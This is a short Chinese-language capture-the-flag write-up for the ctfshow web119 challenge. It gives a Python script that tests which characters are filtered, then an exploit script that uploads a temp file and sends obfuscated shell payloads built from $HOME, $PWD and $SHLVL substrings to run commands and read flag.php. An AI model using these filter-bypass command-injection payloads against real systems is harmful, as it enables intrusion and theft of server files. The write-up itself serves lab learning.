[ctfshow web入门] web119
信息收集
import requestsurl = "http://51a7e437-2e66-4742-bbfe-e4cce44e360b.challenge.ctf.show/"
for i in range(255):data = {"code": f"{chr(i)}"}response = requests.post(url, data=data)# print(len(response.text))# print(response.text)if len(response.text) == 489:print(f"{hex(i)}: {chr(i)}")
用上面的代码试试过滤了多少字符,之前用的burpsuite,还得我一个个对照ascii码表查看什么过滤掉了,自己写的脚本没多复杂更省事
%09 %0a
! " % & ' ( ) * + , - /
0-9
< = > [ \ ] ^ `
a-z
|
我在做题的时候明明没有包含上述字符,但还是evil input
,又测试了一下
解题
临时文件上传
上一题的临时上传文件依然能用
import requests
from time import sleepurl = "http://8e524b2c-2846-42f6-879c-0ea2627207dc.challenge.ctf.show/" # http不要s
# . /tmp/php?????A ==> . /???/?h??????A
payload = ". ${HOME:${#}:${#SHLVL}}???${HOME:${#}:${#SHLVL}}?${HOME:${#SHLVL}:${#SHLVL}}??????A"
file = { "file": "tac flag.php" }
data = { "code": payload }for i in range(1000):response = requests.request("POST", url, files=file, data=data)if (len(response.text)) != 479:print(response.text)print(len(response.text))breakprint(i, end=" ")sleep(0.3)
截图里的post_url我就不改了,反正没影响,这是抄之前代码没好好读造成的
构造命令
之前构造的那些命令不能使用了,是因为PATH被过滤了,需要重新构造
$PWD /var/www/html
$HOME /home/www-data
${#SHLVL} 1,$SHLVL是2,表示有两个打开的bash,一般不会超过9
${##} 1,size('0')不就是1吗
就是答案给的/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
web118 目录 web120